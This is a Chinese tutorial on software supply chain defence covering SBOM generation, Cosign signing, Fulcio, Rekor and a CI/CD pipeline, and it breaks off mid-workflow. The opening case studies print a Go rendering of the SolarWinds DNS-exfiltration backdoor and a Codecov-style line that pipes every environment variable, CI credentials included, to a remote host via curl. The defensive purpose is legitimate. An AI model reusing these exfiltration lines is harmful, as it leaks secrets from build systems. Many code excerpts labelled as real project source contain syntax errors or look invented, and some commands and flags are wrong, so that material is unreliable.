软件供应链安全:SBOM 与签名验证

软件供应链安全:SBOM 与签名验证

从 SolarWinds 到 Log4Shell,软件供应链攻击已成为数字化时代的最大威胁。本文深入解析软件物料清单(SBOM)与代码签名验证的实战方案,通过 Sigstore/Cosign 源码分析与真实攻击案例,构建可落地的软件供应链防护体系。

一、软件供应链:攻击面与威胁模型

1.1 经典攻击案例复盘

软件供应链攻击的核心特征是**"攻击上游,污染下游"**。攻击者通过渗透软件构建流程、依赖库托管平台或CI/CD系统,在合法软件中植入恶意代码,最终感染成千上万的终端用户。

SolarWinds 供应链攻击(2020) :攻击者入侵 SolarWinds Orion 软件的构建系统,在更新包中植入后门代码 Sunburst。该恶意代码潜伏在 SolarWinds.BusinessLayer.dll 中,通过DNS隧道与C2服务器通信,影响全球超30,000个组织。

go 复制代码
// SolarWinds Orion 后门代码简化分析(反编译逻辑)
// 文件路径: SolarWinds.BusinessLayer.dll
// 版本: 2020.2.1 HF 2

type SunburstBackdoor struct {
    // 睡眠时间: randomized between 12-21 days to evade detection
    SleepDuration time.Duration
    // C2域名:通过DGA算法生成的子域名
    C2Domain string
    // 加密密钥:用于HTTP通信的AES密钥
    EncryptionKey []byte
}

// 恶意代码激活条件
func (b *SunburstBackdoor) shouldActivate() bool {
    // 检查是否为测试环境/沙箱
    if b.isSandbox() {
        return false
    }
    // 时间延迟:安装后12-21天激活
    if time.Since(b.InstallTime) < b.SleepDuration {
        return false
    }
    return true
}

// DNS隧道通信协议
func (b *SunburstBackdoor) exfiltrateData(data []byte) error {
    // 将数据编码为DNS子域名格式
    encoded := base32.StdEncoding.EncodeToString(data)
    // 构造恶意域名:avsvmcloud[.]com 的子域名
    domain := fmt.Sprintf("%s.%s", encoded[:63], b.C2Domain)
    // 执行DNS查询,将数据外带
    _, err := net.LookupHost(domain)
    return err
}

Codecov 供应链攻击(2021):攻击者窃取 Codecov 的 Docker 镜像签名凭证,在 Bash 上传脚本中添加恶意代码,窃取 CI 环境中的环境变量(包括 AWS/GCP 凭证、GitHub Token 等)。

bash 复制代码
# 受感染的 codecov uploader 脚本片段
# 文件路径: codecov/bash
# 版本: v7.0.0 - v9.0.0

# 恶意代码插入点(第50-75行)
if [ -n "${CI}" ] || [ -n "${TRAVIS}" ]; then  # 检测CI环境
    # 提取所有环境变量(包含敏感凭证)
    env | curl -X POST -d @- https://codecov[.]io/env/v1/
fi

# 正常的上传逻辑继续执行,掩盖恶意行为
# ...

1.2 软件供应链攻击面分类

软件供应链攻击面
源代码阶段
构建依赖阶段
CI/CD阶段
分发存储阶段
部署运行阶段
Git仓库入侵
恶意Commit注入
代码审查绕过
恶意依赖包
依赖混淆攻击
Transitive依赖漏洞
CI/CD凭证泄露
构建脚本篡改
Worker容器逃逸
镜像仓库劫持
包管理器劫持
CDN投毒
运行时注入
动态库劫持
配置篡改

关键技术术语

  • Direct Dependencies(直接依赖) :项目 go.mod / package.json 中显式声明的依赖包
  • Transitive Dependencies(传递依赖):直接依赖的依赖项,形成依赖树。例如项目依赖 A,A 依赖 B 和 C,则 B 和 C 是传递依赖
  • Dependency Confusion(依赖混淆):攻击者发布与私有包同名的公共包,利用包管理器优先级获取恶意代码
  • Typosquatting(域名欺骗) :发布与流行包名称相似的恶意包(如 react-nativ vs react-native

1.3 威胁建模:STRIDE 方法论

威胁类型 描述 供应链场景示例 防护措施
Spoofing(伪装) 攻击者冒充合法来源 攻击者发布冒充官方的恶意 Docker 镜像 镜像签名验证、可信仓库
Tampering(篡改) 未经授权修改代码/数据 攻击者修改构建产物植入后门 代码签名、SBOM 校验
Repudiation(抵赖) 否认操作行为 开发者抵赖泄露密钥的行为 审计日志、证书绑定
Information Disclosure(信息泄露) 暴露敏感信息 CI 日志泄露 AWS 密钥 密钥管理、日志脱敏
Denial of Service(拒绝服务) 破坏服务可用性 依赖包突然下线导致构建失败 依赖锁定、私有镜像
Elevation of Privilege(权限提升) 获得未授权权限 恶意依赖包在安装时执行提权脚本 沙箱构建、最小权限

二、软件物料清单(SBOM):透明度基石

2.1 SBOM 标准深度对比

SBOM(Software Bill of Materials)是软件成分的正式清单,记录了所有组件及其层级关系、许可证、版本等信息。当前主流标准包括 SPDXCycloneDXSWID

技术对比表
特性 SPDX 2.3 CycloneDX 1.4 SWID Tags
维护组织 Linux Foundation OWASP ISO/IEC 19770-2
核心格式 JSON/YAML/XML JSON/XML/XML XML
依赖关系图 ❌ 仅支持列表 ✅ 支持完整依赖树 ❌ 仅单层
漏洞字段 ⚠️ 通过 externalRef 扩展 ✅ 原生支持 vulnerability/bom ❌ 不支持
许可证表达式 ✅ 支持 SPDX License Expression ⚠️ 仅简单字符串 ⚠️ 仅简单字符串
签名支持 ✅ 原生嵌入签名 ⚠️ 需外部独立签名 ✅ 原生支持 XML Signature
文件级粒度 ✅ 支持文件哈希列表 ✅ 支持文件哈希列表 ❌ 仅组件级
适用场景 合规性审计、许可证管理 DevSecOps、漏洞扫描 软件资产管理
工具生态 SPDX Tools, Microsoft SBOM CycloneDX CLI, Dependency-Track Windows Tag Tools

推荐策略新项目优先选择 CycloneDX(安全特性丰富),合规要求严格的选择 SPDX(法律认可度高)。

2.2 生成 SBOM:Syft vs. Trivy 源码分析

工具对比
功能 Syft (v1.12.0) Trivy (v0.50.0)
扫描目标 容器镜像、文件系统、根文件系统 容器镜像、文件系统、Git 仓库、Kubernetes
支持格式 SPDX、CycloneDX、JSON CycloneDX、SPDX、JSON、Table
性能 快速(Go编写,并发扫描) 中等(支持分布式扫描)
漏洞数据库 ❌ 不包含 ✅ 集成 CVE/Advisory DB
语言生态 Go、Python、Java、Ruby、JavaScript、Rust、.NET、PHP、Swift 更全面(包括Dubbo、Haskell等)
架构 模块化 Cataloger 系统 Plugin 架构,支持扩展
Syft 源码架构分析

Syft 的核心是 Cataloger 系统,通过识别文件模式语言特征来提取包信息。

go 复制代码
// 源码路径: github.com/anchore/syft/syft/cataloger/cataloger.go
// 版本: v1.12.0

// Cataloger 接口定义:所有语言扫描器必须实现此接口
type Cataloger interface {
    // Name 返回 Cataloger 名称(如 "go-cataloger", "python-cataloger")
    Name() string

    // SelectFiles 根据文件路径/类型决定是否需要扫描该文件
    // 返回的 ResolvedFile 会传递给 Catalog 方法
    SelectFiles(selection FileSelection) (ResolvedFiles, error)

    // Catalog 执行实际的包解析
    Catalog(resolver source.FileResolver) ([]Package, error)
}

// Go 语言 Cataloger 实现示例
type GoCataloger struct {
    // 配置项
    UseBuildEngine bool // 是否使用 go build 命令获取精确依赖
}

// SelectFiles: 筛选 go.mod 和 go.sum 文件
func (g *GoCataloger) SelectFiles(selection source.FileSelection) ([]source.Location, error) {
    files, err := selection.FilesByGlob("**/go.mod")
    if err != nil {
        return nil, fmt.Errorf("failed to find go.mod files: %w", err)
    }
    return files, nil
}

// Catalog: 解析 go.mod/sum 提取依赖
func (g *GoCataloger Catalog(resolver source.FileResolver) ([]Package, error) {
    var packages []Package

    // 1. 定位 go.mod 文件
    locations, err := g.SelectFiles(resolver)
    if err != nil {
        return nil, err
    }

    // 2. 解析每个 go.mod 文件
    for _, location := range locations {
        content, err := resolver.FileContents(location)
        if err != nil {
            return nil, fmt.Errorf("failed to read go.mod: %w", err)
        }

        modFile, err := mod.Parse(content)
        if err != nil {
            return nil, fmt.Errorf("failed to parse go.mod: %w", err)
        }

        // 3. 转换为 Syft Package 对象
        for _, require := range modFile.Require {
            pkg := Package{
                Name:      require.Mod.Path,
                Version:   require.Mod.Version,
                Type:      pkg.GoModule,
                Locations: newLocationSet(location),
                // 解析间接依赖标记
                Indirect: require.Indirect,
            }
            packages = append(packages, pkg)
        }
    }

    return packages, nil
}
Trivy 的漏洞关联机制
go 复制代码
// 源码路径: github.com/aquasecurity/trivy/pkg/vulnerability/vulnsrc.go
// 版本: v0.50.0

// Vulnerability 字段(含SBOM关联)
type Vulnerability struct {
    // CVE 编号
    ID string `json:",omitempty"`

    // 受影响包的版本范围
    PkgPath string `json:",omitempty"`

    // 严重等级:CRITICAL/HIGH/MEDIUM/LOW
    Severity Severity `json:",omitempty"`

    // CVSS 评分向量
    CvssScore float64 `json:",omitempty"`

    // 修复建议的版本号
    FixedVersion string `json:",omitempty"`

    // 关联的 SBOM 引用(SPDX ID / CycloneDX bom-ref)
    SBOMRef string `json:",omitempty"`
}

// 漏洞匹配算法:版本范围判定
func (v *Vulnerability) Affects(pkg *Package) bool {
    // 1. 提取包版本
    version := pkg.Version

    // 2. 解析 Vulnerability 的 VersionConstraint
    // 格式: ">= 1.2.3, < 2.0.0"
    constraint, err := semver.NewConstraint(v.VersionConstraint)
    if err != nil {
        return false
    }

    // 3. 解析包版本
    sem, err := semver.NewVersion(version)
    if err != nil {
        return false
    }

    // 4. 执行版本匹配
    return constraint.Check(sem)
}

2.3 实战:生成多格式 SBOM

环境准备
bash 复制代码
# 安装 Syft 和 Trivy
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin
curl -sSfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local-bin

# 创建示例 Go 项目
mkdir -p /tmp/sbom-demo && cd /tmp/sbom-demo
go mod init example.com/sbom-demo

# 添加依赖
go get github.com/gin-gonic/gin@v1.10.0
go get github.com/golang-jwt/jwt/v5@v5.2.0
生成 SPDX 格式 SBOM
bash 复制代码
# Syft 扫描当前目录,生成 SPDX JSON
syft . -o spdx-json > sbom.spdx.json

# SPDX JSON 结构示例
cat sbom.spdx.json | jq '{
  spdxVersion: .spdxVersion,
  dataLicense: .dataLicense,
  name: .name,
  packages: [.packages[] | {
    name: .name,
    versionInfo: .versionInfo,
    licenseConcluded: .licenseConcluded,
    externalRefs: [.externalRefs[] | select(.referenceCategory == "PACKAGE-MANAGER") | {
      type: .referenceType,
      locator: .referenceLocator
    }]
  }]
}'

输出示例

json 复制代码
{
  "spdxVersion": "SPDX-2.3",
  "dataLicense": "CC0-1.0",
  "name": "sbom-demo",
  "packages": [
    {
      "name": "github.com/gin-gonic/gin",
      "versionInfo": "v1.10.0",
      "licenseConcluded": "MIT",
      "externalRefs": [
        {
          "type": "purl",
          "locator": "pkg:golang/github.com/gin-gonic/gin@v1.10.0"
        }
      ]
    },
    {
      "name": "github.com/golang-jwt/jwt/v5",
      "versionInfo": "v5.2.0",
      "licenseConcluded": "MIT",
      "externalRefs": [
        {
          "type": "purl",
          "locator": "pkg:golang/github.com/golang-jwt/jwt/v5@v5.2.0"
        }
      ]
    }
  ]
}
生成 CycloneDX 格式 SBOM
bash 复制代码
# Trivy 生成 CycloneDX v1.4 JSON
trivy image --format cyclonedx --output sbom.cdx.json alpine:3.19

# CycloneDX 核心字段
cat sbom.cdx.json | jq '{
  specVersion: .specVersion,
  bomFormat: .bomFormat,
  metadata: .metadata,
  components: [.components[] | {
    group: .group,
    name: .name,
    version: .version,
    purl: .purl,
    licenses: .licenses,
    cpe: .cpe
  }],
  dependencies: .dependencies
}'
Go 项目完整 SBOM 生成脚本
bash 复制代码
#!/bin/bash
# 文件路径: scripts/generate-sbom.sh
# 版本: 1.0.0

set -euo pipefail

PROJECT_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
OUTPUT_DIR="${PROJECT_ROOT}/sbom"
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")

# 创建输出目录
mkdir -p "${OUTPUT_DIR}"

# 函数:生成 SPDX 格式
generate_spdx() {
    echo "📄 Generating SPDX SBOM..."
    syft "${PROJECT_ROOT}" \
        -o spdx-json \
        --file "${OUTPUT_DIR}/sbom-${TIMESTAMP}.spdx.json" \
        --file "${OUTPUT_DIR}/sbom-latest.spdx.json"

    # 添加构建元数据
    jq --arg timestamp "${TIMESTAMP}" \
        '.metadata.timestamp = $timestamp' \
        "${OUTPUT_DIR}/sbom-latest.spdx.json" \
        > "${OUTPUT_DIR}/sbom-tmp.json" \
        && mv "${OUTPUT_DIR}/sbom-tmp.json" "${OUTPUT_DIR}/sbom-latest.spdx.json"
}

# 函数:生成 CycloneDX 格式
generate_cyclonedx() {
    echo "🌀 Generating CycloneDX SBOM..."
    syft "${PROJECT_ROOT}" \
        -o cyclonedx-json \
        --file "${OUTPUT_DIR}/sbom-${TIMESTAMP}.cdx.json" \
        --file "${OUTPUT_DIR}/sbom-latest.cdx.json"
}

# 函数:生成表格摘要
generate_summary() {
    echo "📊 Generating dependency summary..."
    syft "${PROJECT_ROOT}" -o table > "${OUTPUT_DIR}/dependencies.txt"
}

# 主执行流程
generate_spdx
generate_cyclonedx
generate_summary

# 计算文件哈希(用于签名)
cd "${OUTPUT_DIR}"
sha256sum sbom-latest.* | tee sbom.checksums.txt

echo "✅ SBOM generation complete!"
echo "   SPDX: ${OUTPUT_DIR}/sbom-latest.spdx.json"
echo "   CycloneDX: ${OUTPUT_DIR}/sbom-latest.cdx.json"

2.4 SBOM 签名与验证

使用 Cosign 签名 SBOM
bash 复制代码
# 生成 SBOM(SPDX格式)
syft . -o spdx-json > sbom.spdx.json

# 使用 Cosign 签名 SBOM
cosign sign-blob sbom.spdx.json \
    --sbom \
    --output-signature sbom.spdx.json.sig \
    --output-certificate sbom.spdx.json.pem

# 验证签名
cosign verify-blob sbom.spdx.json \
    --signature sbom.spdx.json.sig \
    --certificate sbom.spdx.json.pem
Sigstore 集成:从签名到透明日志
bash 复制代码
# 使用 Sigstore 签名并上传到 Rekor(透明日志)
cosign sign-blob sbom.spdx.json \
    --sbom \
    --output-signature sbom.spdx.json.sig \
    --output-certificate sbom.spdx.json.pem

# 获取 Rekor 日志条目
LOG_ENTRY=$(cosign triangulate sbom.spdx.json --signature sbom.spdx.json.sig)
echo "📝 Rekor Log Entry: ${LOG_ENTRY}"

# 从 Rekor 验证
cosign verify-blob sbom.spdx.json \
    --signature sbom.spdx.json.sig \
    --certificate sbom.spdx.json.pem \
    --rekor-url "https://rekor.sigstore.dev"

三、代码签名:Cosign 源码深度剖析

3.1 Cosign 架构与工作流程

Cosign 是 Sigstore 项目的一部分,专门用于容器镜像和任意文件的签名验证。其核心架构包括:
Fulcio证书颁发 Rekor透明日志 KMS/密钥管理 Cosign CLI 开发者 Fulcio证书颁发 Rekor透明日志 KMS/密钥管理 Cosign CLI 开发者 执行签名命令 请求签名证书 验证OIDC身份 返回X.509证书 使用私钥签名 返回签名 提交签名到透明日志 返回Log Entry 签名完成(含证据)

核心模块源码分析
go 复制代码
// 源码路径: github.com/sigstore/cosign/pkg/cosign/sign.go
// 版本: v2.2.4

// SignCmd: 签名命令的核心逻辑
func SignCmd(ctx context.Context, ko KeyOpts, payload []byte, certChain, bundle bool) ([]byte, []byte, error) {
    // 1. 准备签名器(从KMS、本地文件或Fulcio获取)
    sv, err := signerFromKeyOpts(ctx, ko)
    if err != nil {
        return nil, nil, fmt.Errorf("failed to create signer: %w", err)
    }

    // 2. 生成签名(使用ECDSA/PSS/Ed25519算法)
    sig, err := sv.Sign(ctx bytes.NewReader(payload))
    if err != nil {
        return nil, nil, fmt.Errorf("failed to sign: %w", err)
    }

    // 3. 构造签名Payload(包含签名和证书)
    // 格式: base64(Signature) || base64(Certificate)
    signatureBytes := sig.Signature
    certificateBytes := sv.Cert() // 从Fulcio获取的X.509证书

    payloadBytes := append(signatureBytes, certificateBytes...)

    // 4. 提交到Rekor透明日志(如果启用)
    if bundle {
        entry, err := rekorUpload(ctx, payload, signatureBytes, certificateBytes)
        if err != nil {
            return nil, nil, fmt.Errorf("failed to upload to rekor: %w", err)
        }
        // 将Rekor Entry嵌入到Bundle中
        bundle := createBundle(entry)
        return payloadBytes, bundle, nil
    }

    return payloadBytes, nil, nil
}

// 签名器接口
type SignerVerifier interface {
    // Sign: 使用私钥对消息进行签名
    Sign(message io.Reader) ([]byte, error)
    // Verify: 使用公钥验证签名
    Verify(signature, message io.Reader) error
    // PublicKey: 返回PEM编码的公钥
    PublicKey() (crypto.PublicKey, error)
}
Rekor 集成:透明日志机制
go 复制代码
// 源码路径: github.com/sigstore/cosign/pkg/cosign/rekor.go
// 版本: v2.2.4

// rekorUpload: 提交签名到Rekor透明日志
func rekorUpload(ctx context.Context, data, sig, cert []byte) (*models.LogEntryAnon, error) {
    // 1. 创建Rekor客户端
    rClient, err := rekor.NewClient(ko.RekorURL)
    if err != nil {
        return nil, fmt.Errorf("failed to create rekor client: %w", err)
    }

    // 2. 构造签名条目(SignedEntry)
    // 格式:rekord/v2
    entry := createRekorEntry(data, sig, cert)

    // 3. 提交到Rekor
    resp, err := rClient.Tlog.CreateLogEntry(ctx, entry)
    if err != nil {
        return nil, fmt.Errorf("failed to create log entry: %w", err)
    }

    // 4. 返回Log Entry(包含UUID和一致性证明)
    return resp, nil
}

// createRekorEntry: 构造Rekor条目
func createRekorEntry(data, sig, cert []byte) *models.Rekord {
    // 计算数据哈希(SHA-256)
    hasher := sha256.New()
    hasher.Write(data)
    dataHash := hasher.Sum(nil)

    // Base64编码
    dataB64 := base64.StdEncoding.EncodeToString(data)
    sigB64 := base64.StdEncoding.EncodeToString(sig)
    certB64 := base64.StdEncoding.EncodeToString(cert)

    // 构造Rekord对象
    return &models.Rekord{
        APIVersion: swag.String("0.0.1"),
        Spec: models.RekordSpec{
            Data: models.RekordData{
                Content: swag.String(dataB64),
                Hash: models.RekordDataHash{
                    Algorithm: swag.String("sha256"),
                    Value:     swag.String(hex.EncodeToString(dataHash)),
                },
            },
            Signature: models.RekordSignature{
                Content:   swag.String(sigB64),
                PublicKey: swag.String(certB64),
            },
        },
    }
}

3.2 密钥管理:本地 vs. KMS 对比

密钥管理方案对比
方案 安全性 可用性 成本 适用场景
本地文件 ⚠️ 低(密钥明文存储) ✅ 高(离线可用) 免费 开发/测试环境
KMS(AWS/GCP/Azure) ✅ 高(HSM保护) ⚠️ 中(需网络) 按调用量付费 生产环境
HashiCorp Vault ✅ 高(支持加密和审计) ✅ 高(支持离线模式) 自部署成本 企业级部署
Fulcio(Sigstore) ✅ 高(基于OIDC,无长期密钥) ⚠️ 中(需OIDC Provider) 免费 开源项目/CI/CD
本地密钥生成与使用
bash 复制代码
# 生成Cosign密钥对
cosign generate-key-pair

# 输出文件:
# cosign.key - 私钥(加密存储,需密码保护)
# cosign.pub - 公钥(用于验证)

# 设置环境变量(避免交互式输入密码)
export COSIGN_PASSWORD="your-secure-password"

# 使用本地密钥签名
cosign sign --key cosign.key <IMAGE_DIGEST>

# 验证签名
cosign verify --key cosign.pub <IMAGE_DIGEST>
AWS KMS 集成
bash 复制代码
# 创建AWS KMS密钥
aws kms create-key \
    --description "Cosign Signing Key" \
    --key-usage SIGN_VERIFY \
    --customer-master-key-spec ECC_NIST_P256

# 获取密钥ARN
KEY_ARN="arn:aws:kms:us-east-1:123456789012:key/11111111-2222-3333-4444-555555555555"

# 配置AWS凭证
export AWS_PROFILE="your-profile"

# 使用KMS密钥签名
cosign sign --aws-kms-key-id ${KEY_ARN} <IMAGE_DIGEST>

# 验证签名
cosign verify --aws-kms-key-id ${KEY_ARN} <IMAGE_DIGEST>
HashiCorp Vault 集成
bash 复制代码
# 配置Vault环境变量
export VAULT_ADDR="https://vault.example.com"
export VAULT_TOKEN="your-vault-token"

# 在Vault中启用 transit 引擎(支持签名验证)
vault secrets enable transit

# 创建签名密钥
vault write -f transit/keys/cosign-key

# 使用Vault密钥签名
cosign sign \
    --key vault://cosign-key \
    <IMAGE_DIGEST>

# 验证签名
cosign verify \
    --key vault://cosign-key \
    <IMAGE_DIGEST>

3.3 Fulcio:无密钥签名革命

Fulcio 是 Sigstore 的证书颁发服务,基于 OIDC(OpenID Connect) 身份颁发短期有效的代码签名证书。核心思想是**"用身份代替密钥"**。

Fulcio 工作原理
go 复制代码
// 源码路径: github.com/sigstore/fulcio/pkg/ca/ca.go
// 版本: v1.4.4

// CertificateAuthority: Fulcio CA核心结构
type CertificateAuthority struct {
    // 根证书(用于签发用户证书)
    RootCA *x509.Certificate
    // 私钥(用于签名)
    PrivateKey crypto.PrivateKey
    // OIDC配置(支持的Provider)
    OIDCConfig map[string]*OIDCProvider
}

// SignCertificate: 根据OIDC Token签发X.509证书
func (ca *CertificateAuthority) SignCertificate(ctx context.Context, oidcToken string, pubKey crypto.PublicKey) (*x509.Certificate, error) {
    // 1. 验证OIDC Token
    claims, err := ca.validateOIDCToken(oidcToken)
    if err != nil {
        return nil, fmt.Errorf("invalid OIDC token: %w", err)
    }

    // 2. 提取身份信息
    // 声明的Issuer: https://accounts.google.com
    // 声明的Email: developer@example.com
    issuer := claims.Issuer
    email := claims.Email

    // 3. 构造证书模板
    template := &x509.Certificate{
        SerialNumber: big.NewInt(1),
        Subject: pkix.Name{
            CommonName:   email,
            Organization: []string{issuer},
        },
        // 证书有效期:仅20分钟(短期证书)
        NotBefore: time.Now(),
        NotAfter:  time.Now().Add(20 * time.Minute),

        // 扩展字段:OIDC身份嵌入
        ExtraExtensions: []pkix.Extension{
            {
                Id:       []int{1, 3, 6, 1, 4, 1, 57264, 1, 1}, // OIDC Issuer
                Critical: false,
                Value:    []byte(issuer),
            },
            {
                Id:       []int{1, 3, 6, 1, 4, 1, 57264, 1, 2}, // OIDC Email
                Critical: false,
                Value:    []byte(email),
            },
        },

        KeyUsage:              x509.KeyUsageDigitalSignature,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
        BasicConstraintsValid: true,
    }

    // 4. 使用CA私钥签发证书
    certBytes, err := x509.CreateCertificate(
        rand.Reader,
        template,
        ca.RootCA,
        pubKey,
        ca.PrivateKey,
    )
    if err != nil {
        return nil, fmt.Errorf("failed to create certificate: %w", err)
    }

    // 5. 解析并返回证书
    cert, err := x509.ParseCertificate(certBytes)
    if err != nil {
        return nil, fmt.Errorf("failed to parse certificate: %w", err)
    }

    return cert, nil
}
使用 Fulcio 签名实战
bash 复制代码
# 1. 获取OIDC Token(通过GitHub Actions)
# GitHub Actions自动提供 OIDC Token
export GITHUB_TOKEN=${{ secrets.GITHUB_TOKEN }}

# 2. 使用Cosign和Fulcio签名(无密钥模式)
cosign sign \
    --identity-token ${GITHUB_TOKEN} \
    <IMAGE_DIGEST>

# 3. 验证签名(检查Issuer和Email)
cosign verify \
    --certificate-identity https://github.com/myorg/myrepo/.github/workflows/ci.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    <IMAGE_DIGEST>
Fulcio 证书解析示例
bash 复制代码
# 提取Cosign签名中的证书
cosign verify <IMAGE_DIGEST> --certificate-identity "*" --output-certificate cert.pem

# 查看证书详情
openssl x509 -in cert.pem -text -noout

# 关键字段输出:
# Certificate:
#     Data:
#         Version: 3 (0x2)
#         Serial Number: 1234567890
#         Signature Algorithm: ecdsa-with-SHA256
#         Issuer: C=US, O=Sigstore, CN=sigstore-intermediate
#         Validity
#             Not Before: Jan  1 00:00:00 2024 GMT
#             Not After : Jan  1 00:20:00 2024 GMT  # 仅20分钟有效期!
#         Subject: CN=developer@example.com
#         X509v3 extensions:
#             1.3.6.1.4.1.57264.1.1:  # OIDC Issuer
#                 https://token.actions.githubusercontent.com
#             1.3.6.1.4.1.57264.1.2:  # OIDC Email
#                 developer@example.com

3.4 Rekor:透明日志与不可篡改证明

Rekor 是 签名透明日志(Transparency Log),确保所有签名都被公开记录且不可篡改。任何人都可以查询和验证签名历史。

Rekor 数据结构
go 复制代码
// 源码路径: github.com/sigstore/rekor/pkg/generated/models/entry.go
// 版本: v1.3.6

// LogEntryAnon: Rekor日志条目
type LogEntryAnon struct {
    // UUID: 条目的唯一标识符
    UUID string `json:"uuid"`

    // Body: 实际的签名数据
    Body interface{} `json:"body"`

    // IntegratedTime: 集成时间戳
    IntegratedTime int64 `json:"integratedTime"`

    // LogID: 日志的公钥标识(用于验证一致性)
    LogID string `json:"logID"`

    // LogIndex: 条目在日志中的位置
    LogIndex int64 `json:"logIndex"`

    // Verification: 包含Merkle证明和根哈希
    Verification *LogEntryVerification `json:"verification"`
}

// LogEntryVerification: 一致性证明
type LogEntryVerification struct {
    // InclusionProof: Merkle证明
    InclusionProof *InclusionProof `json:"inclusionProof"`

    // SignedEntryTimestamp: Rekor服务器签名的时间戳
    SignedEntryTimestamp []byte `json:"signedEntryTimestamp"`
}

// InclusionProof: Merkle树证明
type InclusionProof struct {
    // LogSize: 当前日志大小
    LogSize int64 `json:"logSize"`

    // RootHash: Merkle树的根哈希
    RootHash string `json:"rootHash"`

    // TreeSize: 树的大小
    TreeSize int64 `json:"treeSize"`

    // Hashes: 从叶子到根的哈希路径
    Hashes []string `json:"hashes"`
}
Rekor 查询与验证
bash 复制代码
# 1. 查询镜像的所有签名条目
rekor-cli search --sha256 <IMAGE_DIGEST> --type sha256

# 输出:
# Found 2 entries:
# - UUID: 11111111-2222-3333-4444-555555555555
#   Index: 12345678
#   Timestamp: 2024-01-01 00:00:00 +0000 UTC
# - UUID: 22222222-3333-4444-5555-666666666666
#   Index: 12345679
#   Timestamp: 2024-01-02 00:00:00 +0000 UTC

# 2. 获取特定UUID的完整条目
rekor-cli get --uuid 11111111-2222-3333-4444-555555555555 --format json > entry.json

# 3. 验证Merkle证明
# Rekor CLI会自动验证:
# - 叶子哈希是否正确
# - Merkle路径是否通向根哈希
# - 根哈希是否由Rekor公钥签名
rekor-cli verify --uuid 11111111-2222-3333-4444-555555555555

# 4. 使用Cosign进行端到端验证(自动查询Rekor)
cosign verify \
    --certificate-identity "https://github.com/myorg/myrepo/.github/workflows/ci.yml@refs/heads/main" \
    --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
    <IMAGE_DIGEST>

# Cosign会自动:
# - 从签名中提取证书
# - 查询Rekor获取Log Entry
# - 验证证书签名和Rekor证明
# - 检查身份和Issuer是否匹配
Rekor 一致性检查
bash 复制代码
# 检查整个日志的完整性(防止历史被篡改)
rekor-cli loginfo --public-key https://rekor.sigstore.dev/api/v1/log/publicKey

# 输出:
# Tree Size: 1000000
# Root Hash: a1b2c3d4e5f6...
# Signed Tree Head: MSTEvA...
#   Signature: ECDSA(secp256r1) SHA256Digest=...

# 验证特定时间点的日志状态
rekor-cli logproof --tree-size 1000000 --root-hash a1b2c3d4e5f6...

四、实战:端到端软件供应链防护方案

4.1 架构设计





开发者提交代码
CI/CD流水线
生成SBOM

Syft/Trivy
漏洞扫描

Trivy/Grype
存在高危漏洞?
构建失败

发送告警
构建镜像
镜像签名

Cosign+KMS
提交到Rekor

透明日志
推送到镜像仓库
部署到K8s
准入控制器验证

Kyverno/Policy Controller
签名验证通过?
拒绝部署
部署成功

4.2 GitHub Actions CI/CD 完整配置

yaml 复制代码
# 文件路径: .github/workflows/ci-cd.yml
# 版本: 1.0.0

name: Software Supply Chain Security CI/CD

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  workflow_dispatch:  # 支持手动触发

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}

permissions:
  contents: read
  packages: write
  id-token: write  # 请求OIDC Token(用于Fulcio)

jobs:
  # Job 1: 生成SBOM并扫描漏洞
  sbom-scan:
    name: Generate SBOM & Vulnerability Scan
    runs-on: ubuntu-latest
    outputs:
      sbom-path: sbom/sbom.cdx.json
      vuln-report: vuln-report.json
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up Go
        uses: actions/setup-go@v5
        with:
          go-version: '1.22'
          cache: true

      - name: Download dependencies
        run: go mod download

      - name: Generate SBOM (CycloneDX)
        id: sbom
        run: |
          mkdir -p sbom
          # 使用Syft生成CycloneDX格式SBOM
          syft . -o cyclonedx-json --file sbom/sbom.cdx.json
          # 输出摘要
          echo "✅ SBOM generated with $(jq '.components | length' sbom/sbom.cdx.json) components"
        env:
          # Syft需要知道Go模块路径
          GOFLAGS: "-mod=readonly"

      - name: Scan vulnerabilities with Trivy
        id: trivy
        run: |
          # 扫描文件系统(包括Go依赖)
          trivy fs --format json --output vuln-report.json .
          # 统计漏洞数量
          HIGH=$(jq '.Results[].Vulnerabilities | map(select(.Severity == "HIGH")) | length' vuln-report.json | awk '{s+=$1} END {print s}')
          CRITICAL=$(jq '.Results[].Vulnerabilities | map(select(.Severity == "CRITICAL")) | length' vuln-report.json | awk '{s+=$1} END {print s}')
          echo "HIGH: $HIGH, CRITICAL: $CRITICAL"
          # 将结果保存到环境变量
          echo "HIGH_COUNT=$HIGH" >> $GITHUB_ENV
          echo "CRITICAL_COUNT=$CRITICAL" >> $GITHUB_ENV

      - name: Upload SBOM as artifact
        uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: sbom/sbom.cdx.json
          retention-days: 90

      - name: Upload vulnerability report
        uses: actions/upload-artifact@v4
        with:
          name: vuln-report
          path: vuln-report.json
          retention-days: 90

      - name: Fail on critical vulnerabilities
        run: |
          if [ "$CRITICAL_COUNT" -gt 0 ]; then
            echo "❌ Found $CRITICAL_COUNT CRITICAL vulnerabilities!"
            exit 1
          fi
          if [ "$HIGH_COUNT" -gt 5 ]; then
            echo "⚠️ Found $HIGH_COUNT HIGH vulnerabilities (threshold: 5)"
            exit 1
          fi
          echo "✅ Vulnerability scan passed"

  # Job 2: 构建并签名容器镜像
  build-and-sign:
    name: Build & Sign Container Image
    needs: sbom-scan
    runs-on: ubuntu-latest
    outputs:
      image-digest: ${{ steps.build.outputs.digest }}
      image-tag: ${{ steps.meta.outputs.tags }}
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Log in to Container Registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata for image
        id: meta
        uses: docker/metadata-action@v5
        with:
